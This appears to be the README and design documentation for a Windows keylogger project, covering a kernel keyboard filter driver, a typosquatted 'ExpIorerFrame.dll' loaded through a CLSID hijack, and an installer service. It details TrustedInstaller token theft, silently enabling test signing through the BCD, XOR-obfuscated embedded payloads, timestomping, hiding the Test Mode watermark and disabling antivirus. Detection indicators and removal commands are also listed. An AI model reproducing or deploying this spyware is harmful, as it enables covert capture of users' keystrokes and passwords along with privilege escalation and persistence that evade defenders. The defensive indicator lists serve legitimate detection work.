IRQL-Aware Design:
The driver operates at multiple IRQL (Interrupt Request Level) contexts:
| Context | IRQL | Allowed Operations |
|---|---|---|
| System thread | PASSIVE_LEVEL | All operations, can wait |
| IRP dispatch | ≤ DISPATCH_LEVEL | No paged memory, no blocking |
| Spinlock held | DISPATCH_LEVEL | Minimal operations only |
Synchronization Primitives Used:
KSPIN_LOCK (Line Buffer):
ERESOURCE (Keyboard Objects):
LIST_ENTRY (Keyboard Object List):
Pool Tags:
All allocations use KBDDRIVER_POOL_TAG ('KdbK'):
#define KBDDRIVER_POOL_TAG 'dbKK'
Benefits:
Allocation Strategy:
Example:
PKBDDRIVER_KEYBOARD_OBJECT obj = ExAllocatePool2(
POOL_FLAG_NON_PAGED,
sizeof(KBDDRIVER_KEYBOARD_OBJECT),
KBDDRIVER_POOL_TAG
);
RtlZeroMemory(obj, sizeof(KBDDRIVER_KEYBOARD_OBJECT));
// ... use object ...
ExFreePoolWithTag(obj, KBDDRIVER_POOL_TAG);
Offset Handling:
#ifdef _WIN64
#define REMOVE_LOCK_OFFSET_DE 0x20
#define SPIN_LOCK_OFFSET_DE 0xA0
#define READ_QUEUE_OFFSET_DE 0xA8
#else
#define REMOVE_LOCK_OFFSET_DE 0x10
#define SPIN_LOCK_OFFSET_DE 0x6C
#define READ_QUEUE_OFFSET_DE 0x70
#endif
Why Different?
Implication:
Code compiled for x64 will not work on x86 and vice versa. Requires separate compilation for each architecture.
Challenge:
IRPs can be cancelled at any time (application closes, timeout expires). The driver must handle cancellation gracefully without causing BSOD.
Cancellation Routine:
VOID KbdIrp_Cancel(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
IoReleaseCancelSpinLock(Irp->CancelIrql);
// Find keyboard object
// Mark cancellation flag
KeyboardObject->IrpCancel = TRUE;
// Cancel forwarded IRP
if (KeyboardObject->NewIrp) {
IoCancelIrp(KeyboardObject->NewIrp);
}
// Complete original IRP with STATUS_CANCELLED
Irp->IoStatus.Status = STATUS_CANCELLED;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
}
Race Condition Prevention:
When dequeuing IRPs, check if cancel routine was cleared:
PDRIVER_CANCEL oldRoutine = IoSetCancelRoutine(irp, NULL);
if (oldRoutine) {
// Safe to use IRP
} else {
// Cancel routine is running, skip this IRP
}
WSK Operation Failures:
Design Decision:
Network failures are non-fatal. The driver continues to intercept keystrokes but silently drops data if network is unavailable.
Rationale:
Compiler Flags (Release):
/O1 - Optimize for size
/Gy - Enable function-level linking
/Gw - Optimize global data
/GS- - Disable buffer security checks
/GL - Whole program optimization
Linker Flags:
/OPT:REF - Eliminate unreferenced functions
/OPT:ICF=5 - Identical COMDAT folding (aggressive)
/LTCG - Link-time code generation
/MERGE:.rdata=.text - Merge sections
Result:
1. Driver Signature Enforcement (DSE):
2. File System Virtualization:
3. Registry Protection:
4. CLSID Integrity:
File Artifacts:
C:\Windows\System32\ExpIorerFrame.dll (note: uppercase I)
C:\Windows\System32\DriverStore\FileRepository\keyboard.inf_amd64_*\kvckbd.sys
Registry Artifacts:
HKCR\CLSID\{ab0b37ec-56f6-4a0e-a8fd-7a8bf7c2da96}\InProcServer32 = ExpIorerFrame.dll
HKLM\SYSTEM\CurrentControlSet\Services\kvckbd
HKLM\SYSTEM\CurrentControlSet\Services\UdpKeyboardLogger
HKLM\BCD00000000\Objects\{...}\Elements\16000049 = 0x01
Network Artifacts:
Process Artifacts:
Behavioral Indicators:
| Technique ID | Description |
|---|---|
| T1547.001 | Boot or Logon Autostart – Driver service with AUTO_START |
| T1546.015 | CLSID Hijacking – COM object persistence |
| T1547.006 | Kernel Modules and Extensions – Kernel driver loading |
| T1056.001 | Input Capture – Keyboard interception |
| T1134.001 | Impersonation – TrustedInstaller token theft |
| T1046 | Network Service Discovery – UDP listener on localhost |
Prevention:
Detection:
Response:
bcdedit /set testsigning offsc delete kvckbdRequired Tools:
Project Structure:
Solution: UdpKeyboardLogger.sln
├── kvckbd (Driver Project)
│ ├── kvckbd.vcxproj
│ ├── driver.c / driver.h
│ ├── network.c / network.h
│ ├── scancode.c / scancode.h
│ └── kvckbd.inf
├── ExplorerFrame (DLL Project)
│ ├── Explorerframe.vcxproj
│ ├── Explorerframe.cpp / .h
│ └── version.rc
└── UdpLogger (Service Project)
├── UdpLogger.vcxproj
├── UdpLogger.cpp
├── DriverInstaller.cpp
├── TrustedInstallerExecutor.cpp
├── UdpServiceManager.cpp
└── ResourceExtractor.cpp
Build Order:
Configuration:
All projects use Release configuration with aggressive optimizations.
Test Signing (Development):
makecert -r -pe -ss PrivateCertStore -n "CN=TestDriverCert" TestDriverCert.cer
signtool sign /v /s PrivateCertStore /n "TestDriverCert" /t http://timestamp.digicert.com kvckbd.sys
Production Signing:
Requires EV Code Signing Certificate from Microsoft-trusted CA.
Timestamp Modification:
Both UdpLogger.exe and ExplorerFrame.dll have post-build events that modify timestamps:
$f='$(OutDir)$(TargetName)$(TargetExt)'
(Get-Item $f).CreationTime='2026-01-01 00:00:00'
(Get-Item $f).LastWriteTime='2026-01-01 00:00:00'
Purpose:
Symptoms:
[ERROR] kvckbd driver: STOPPED
Causes:
Solutions:
# Check test signing
bcdedit /enum {current} | findstr testsigning
# Enable if disabled
UdpLogger install
# Verify BCD modification
reg query "HKLM\BCD00000000\Objects\{GUID}\Elements\16000049"
# Manually enable test signing
bcdedit /set testsigning on
Symptoms:
[ERROR] Failed to start service
Causes:
Solutions:
# Check service status
sc query UdpKeyboardLogger
# Check event logs
eventvwr.msc
# Navigate to: Windows Logs > Application
# Check port availability
netstat -an | findstr 31415
# Reinstall
UdpLogger uninstall
UdpLogger install
Symptoms:
Causes:
Solutions:
# Restart driver
UdpLogger driver restart
# Check log location
dir %TEMP%\keyboard_log*.txt
# Manually test UDP
# In PowerShell:
$udp = New-Object System.Net.Sockets.UdpClient
$udp.Send([System.Text.Encoding]::UTF8.GetBytes("test"), 4, "127.0.0.1", 31415)
$udp.Close()
Symptoms:
[-] CLSID Hijack: INACTIVE
Causes:
Solutions:
# Manually verify registry
reg query "HKCR\CLSID\{ab0b37ec-56f6-4a0e-a8fd-7a8bf7c2da96}\InProcServer32"
# Check file presence
dir C:\Windows\System32\ExpIorerFrame.dll
# Reinstall with AV disabled
UdpLogger uninstall
# Disable antivirus
UdpLogger install
Driver Debug Output:
Use DebugView (Sysinternals) to capture kernel debug messages:
[KBD INFO] Driver initialization completed successfully
[KBD INFO] Keyboard object created: Filter=...
Network Capture:
# Capture localhost UDP with Wireshark
# Set filter: udp.port == 31415
Registry Monitoring:
# Use Process Monitor (procmon.exe)
# Filter: Path contains "kvckbd" or "ExpIorerFrame"
System Won't Boot (Test Signing Issue):
bcdedit /set testsigning offDriver Causes BSOD:
sc config kvckbd start= disabledsc delete kvckbdService Locks Files:
# Stop service
net stop UdpKeyboardLogger
# Delete locked files at next boot
# (requires reboot)
| Component | Size (Compressed) | Size (Deployed) | Location | Protection Level |
|---|---|---|---|---|
| UdpLogger.exe | ~160 KB | ~160 KB | User-controlled | None (public executable) |
| Embedded Resource | ~18 KB | N/A | Inside UdpLogger.exe | XOR + CAB compressed |
| kvckbd.sys | ~6 KB (in CAB) | ~15 KB | DriverStore FileRepository | TrustedInstaller ACL |
| ExpIorerFrame.dll | ~4 KB (in CAB) | ~8 KB | System32 | TrustedInstaller ACL |
| *keyboardlog.txt** | N/A | Variable | %TEMP% or Documents | LocalSystem ACL (service-owned) |
UdpLogger.exe --install (Administrator)
│
├─→ [0-50ms] Secure Boot Detection
│ └─→ Registry: HKLM\...\SecureBoot\State\UEFISecureBootEnabled
│ └─→ Block if enabled (exit code 1)
│
├─→ [50-150ms] Resource Extraction
│ ├─→ Load RT_RCDATA (IDR_MAINICON)
│ ├─→ Skip ICO (1662 bytes)
│ ├─→ XOR decrypt (7-byte key)
│ ├─→ FDI decompress (in-memory)
│ └─→ Parse kvc.bin → 2 PE files
│
├─→ [50-200ms] Token Impersonation Chain
│ ├─→ Get SYSTEM token (winlogon.exe) [~10ms]
│ ├─→ Start TrustedInstaller service [~30ms]
│ ├─→ Duplicate TI token [~5ms]
│ └─→ Enable 8 privileges [~5ms]
│
├─→ [50-200ms] File Deployment (TI context)
│ ├─→ CreateFileW() → ExpIorerFrame.dll [~20ms]
│ └─→ CreateFileW() → kvckbd.sys [~30ms]
│
├─→ [50-100ms] Registry Configuration (TI context)
│ ├─→ CLSID hijack value [~15ms]
│ ├─→ BCD test signing element [~20ms]
│ └─→ Driver service keys [~15ms]
│
├─→ [20-50ms] Windows Service Creation
│ └─→ CreateServiceW() → UdpKeyboardLogger [~50ms]
│
└─→ [5ms+] Reboot Prompt
└─→ InitiateSystemShutdownExW() (10 sec delay)
Total Installation Time: ~0,2-1 second (excluding reboot)
┌─────────────────────────────────────────────────────────────────┐
│ After System Reboot │
└────────────┬────────────────────────────────────────────────────┘
│
├─→ [Boot Phase 1] BCD Test Signing Active
│ └─→ HKLM\BCD00000000\...\16000049\Element = 0x01
│ └─→ Allows test-signed drivers to load
│
├─→ [Boot Phase 2] kvckbd.sys Auto-Start
│ └─→ Registry: HKLM\...\Services\kvckbd\Start = 2
│ └─→ Kernel driver loaded by I/O Manager
│
├─→ [Boot Phase 3] Explorer.exe Shell Initialization
│ └─→ COM Server Activation
│ └─→ CLSID {ab0b37ec-56f6-4a0e-a8fd-7a8bf7c2da96}
│ └─→ Loads ExpIorerFrame.dll (typo hijack)
│
└─→ [Boot Phase 4] UdpKeyboardLogger Service Start
└─→ SERVICE_AUTO_START → ServiceMain()
└─→ UDP listener on 127.0.0.1:31415
┌─────────────────────────────────────────────────────────────────┐
│ Runtime Operation (Per Keystroke) │
└────────────┬────────────────────────────────────────────────────┘
│
[User presses key on keyboard]
↓
i8042prt.sys / USB HID Driver (Hardware Interface)
↓ <1μs
kbdclass.sys (Windows Keyboard Class Driver)
↓
[IRP_MJ_READ] ← kvckbd.sys intercepts here
↓ ~10μs (scan code → ASCII translation)
kvckbd.sys internal buffer (512 bytes, line-based)
↓ ~50μs (WSK socket send)
127.0.0.1:31415 (UDP packet - localhost)
↓ ~100μs (network stack + service processing)
UdpLogger.exe service (recvfrom)
↓ ~200μs (string formatting + mutex lock)
FileLogger::log() → fstream::write()
↓ ~1ms (disk I/O buffered write)
keyboard_log_2025-01-15.txt (appended line)
Total Keystroke Latency: ~1.5ms (key press → disk write)
| Metric | Value | Notes |
|---|---|---|
| Installation Time | 0,5-1 seconds | Excluding reboot prompt |
| Resource Extraction | <50ms | Entirely in-memory operations |
| Token Impersonation | ~200ms | TrustedInstaller service startup time |
| File Write (TI) | ~50ms/file | Direct API, no cmd.exe overhead |
| Registry Write (TI) | ~10ms/key | Single API call per operation |
| Keystroke Latency | <2ms | Kernel → Service → Disk |
| Service Memory | ~2 MB | Resident set size (RSS) |
| Driver Memory | ~32 KB | Non-paged pool allocation |
| Log Growth Rate | ~1 KB/hour | Average typing (60 WPM) |
| CPU Usage (Idle) | <0.04% | Service + driver combined |
| CPU Usage (Active) | ~0.1% | During continuous typing |
Static Analysis Challenges:
ExpIorerFrame vs ExplorerFrame)Runtime Behavioral Indicators:
| Indicator | Visibility | Forensic Evidence |
|---|---|---|
| Service "UdpKeyboardLogger" | High | sc query UdpKeyboardLogger |
| Driver "kvckbd" loaded | Medium | fltmc instances / driverquery |
| CLSID registry modification | Low | Requires TI privileges to read |
| BCD test signing enabled | High | bcdedit /enum {current} shows testsigning=Yes |
| UDP port 31415 listening | Medium | netstat -ano | findstr 31415 |
| Log files in %TEMP% | High | Visible to user account |
| "Test Mode" watermark absent | Medium | ExpIorerFrame.dll hooks API |
| TrustedInstaller usage | Low | Event log 4688 (process creation) |
EDR/AV Evasion Techniques:
Forensic Artifacts:
HKLM\SYSTEM\CurrentControlSet\Services\kvckbdHKLM\SYSTEM\CurrentControlSet\Services\UdpKeyboardLoggerHKCR\CLSID\{ab0b37ec-56f6-4a0e-a8fd-7a8bf7c2da96}\InProcServer32HKLM\BCD00000000\Objects\{GUID}\Elements\16000049%SystemRoot%\System32\ExpIorerFrame.dll%SystemRoot%\System32\DriverStore\FileRepository\keyboard.inf_amd64_*\kvckbd.sys%TEMP%\keyboard_log_*.txt or %USERPROFILE%\Documents\keyboard_log_*.txtEvent Log: Security events 4688, 4656, 4663 (TrustedInstaller operations)
This project is provided strictly for educational and research purposes. It demonstrates:
Legal Requirements:
Prohibited Uses:
Red Team / Penetration Testing:
If used in authorized penetration testing:
Blue Team / Defense:
Understand these techniques to:
The authors and contributors:
By using this software, you agree:
If you discover vulnerabilities or improvements:
This project represents a comprehensive exploration of Windows kernel programming, privilege escalation, persistence mechanisms, and system internals. Through the three-component architecture (kernel driver, COM DLL, and management service), it demonstrates techniques rarely seen in modern driver development.
Students and researchers can learn:
Star this repository if you found it educational!
⚠️ Remember: Knowledge is power. Use it responsibly. ⚠️